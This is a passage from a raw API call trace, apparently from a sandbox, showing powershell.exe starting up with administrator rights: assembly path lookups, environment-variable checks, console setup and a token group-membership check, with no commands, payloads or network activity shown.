ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.473] GetLastError () returned 0x2 [0061.473] SetErrorMode (uMode=0x1) returned 0x1 [0061.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.734] GetLastError () returned 0x0 [0061.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.734] GetLastError () returned 0x0 [0061.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.735] GetLastError () returned 0x0 [0061.741] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.741] GetLastError () returned 0xcb [0061.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.749] GetLastError () returned 0xcb [0061.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.749] GetLastError () returned 0xcb [0061.757] CoCreateGuid (in: pguid=0x16ed64 | out: pguid=0x16ed64*(Data1=0x3a99fcf, Data2=0x4c5c, Data3=0x43e6, Data4=([0]=0xb1, [1]=0x33, [2]=0xd1, [3]=0x1e, [4]=0x7, [5]=0x64, [6]=0xe3, [7]=0x4))) returned 0x0 [0061.764] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.764] GetLastError () returned 0xcb [0061.772] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.772] GetLastError () returned 0xcb [0061.777] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.777] GetLastError () returned 0xcb [0061.786] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0061.787] GetLastError () returned 0x0 [0061.789] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x16ec44 | out: lpConsoleScreenBufferInfo=0x16ec44) returned 1 [0061.789] GetLastError () returned 0x0 [0061.799] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0061.800] GetLastError () returned 0x0 [0061.800] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x16ec44 | out: lpConsoleScreenBufferInfo=0x16ec44) returned 1 [0061.800] GetLastError () returned 0x0 [0061.801] GetVersionExW (in: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0061.801] GetLastError () returned 0x0 [0061.802] GetCurrentProcess () returned 0xffffffff [0061.802] GetLastError () returned 0x3f0 [0061.803] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x16ec54 | out: TokenHandle=0x16ec54*=0x33c) returned 1 [0061.803] GetLastError () returned 0x3f0 [0061.805] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x16ecac | out: TokenInformation=0x0, ReturnLength=0x16ecac) returned 0 [0061.805] GetLastError () returned 0x7a [0061.805] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x8, TokenInformation=0x594870, TokenInformationLength=0x4, ReturnLength=0x16ecac | out: TokenInformation=0x594870, ReturnLength=0x16ecac) returned 1 [0061.805] GetLastError () returned 0x7a [0061.806] DuplicateTokenEx (in: hExistingToken=0x33c, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x16ec64 | out: phNewToken=0x16ec64*=0x334) returned 1 [0061.807] GetLastError () returned 0x7f [0061.807] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x16ecac | out: TokenInformation=0x0, ReturnLength=0x16ecac) returned 0 [0061.807] GetLastError () returned 0x7a [0061.807] GetTokenInformation (in: TokenHandle=0x33c, TokenInformationClass=0x8, TokenInformation=0x5949a0, TokenInformationLength=0x4, ReturnLength=0x16ecac | out: TokenInformation=0x5949a0, ReturnLength=0x16ecac) returned 1 [0061.807] GetLastError () returned 0x7a [0061.807] CheckTokenMembership (in: TokenHandle=0x334, SidToCheck=0x2bc11bc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x16ec40 | out: IsMember=0x16ec40) returned 1 [0061.807] GetLastError () returned 0x7a [0061.807] CloseHandle (hObject=0x334) returned 1 [0061.807] GetLastError () returned 0x7a [0061.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e754, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.808] GetLastError () returned 0x7a [0061.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.808] GetLastError () returned 0x7a [0061.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.808] GetLastError () returned 0x7a [0061.808] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.808] GetLastError () returned 0x7a [0061.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e754, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.846] GetLastError () returned 0x7a [0061.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.846] GetLastError () returned 0x7a [0061.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e704, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.846] GetLastError () returned 0x7a [0061.855] GetConsoleTitleW (in: lpConsoleTitle=0x5d1008, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0061.855] GetLastError () returned 0x7a [0061.869] GetConsoleTitleW (in: lpConsoleTitle=0x5d1008, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0061.869] GetLastError () returned 0x7a [0061.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e74c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.869] GetLastError () returned 0x7a [0061.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.869] GetLastError () returned 0x7a [0061.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.869] GetLastError () returned 0x7a [0061.870] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0061.871] GetLastError () returned 0x7a [0061.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e784, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.871] GetLastError () returned 0x7a [0061.871] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.872] GetLastError () returned 0x7a [0061.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.872] GetLastError () returned 0x7a [0061.872] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.872] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e784, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e784, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e734, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.889] GetLastError () returned 0x7a [0061.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e798, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.890] GetLastError () returned 0x7a [0061.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e748, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.890] GetLastError () returned 0x7a [0061.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e748, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.890] GetLastError () returned 0x7a [0061.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e748, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.890] GetLastError () returned 0x7a [0061.945] SetConsoleCtrlHandler (HandlerRoutine=0x2ae384a, Add=1) returned 1 [0061.945] GetLastError () returned 0x7a [0061.965] CoCreateGuid (in: pguid=0x16ec78 | out: pguid=0x16ec78*(Data1=0xa3fecd35, Data2=0x1bda, Data3=0x430c, Data4=([0]=0x85, [1]=0xde, [2]=0x72, [3]=0x42, [4]=0x50, [5]=0xa2, [6]=0xac, [7]=0x36))) returned 0x0 [0061.968] WinSqmIsOptedIn () returned 0x0 [0061.969] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.969] GetLastError () returned 0xcb [0061.978] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.978] GetLastError () returned 0xcb [0061.983] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.983] GetLastError () returned 0xcb [0061.983] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.983] GetLastError () returned 0xcb [0061.984] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.984] GetLastError () returned 0xcb [0062.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.424] GetLastError () returned 0xcb [0062.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.424] GetLastError () returned 0xcb [0062.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.424] GetLastError () returned 0xcb [0062.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.424] GetLastError () returned 0xcb [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetLastError () returned 0x3 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetLastError () returned 0x3 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.498] GetFullPathNameW (in: 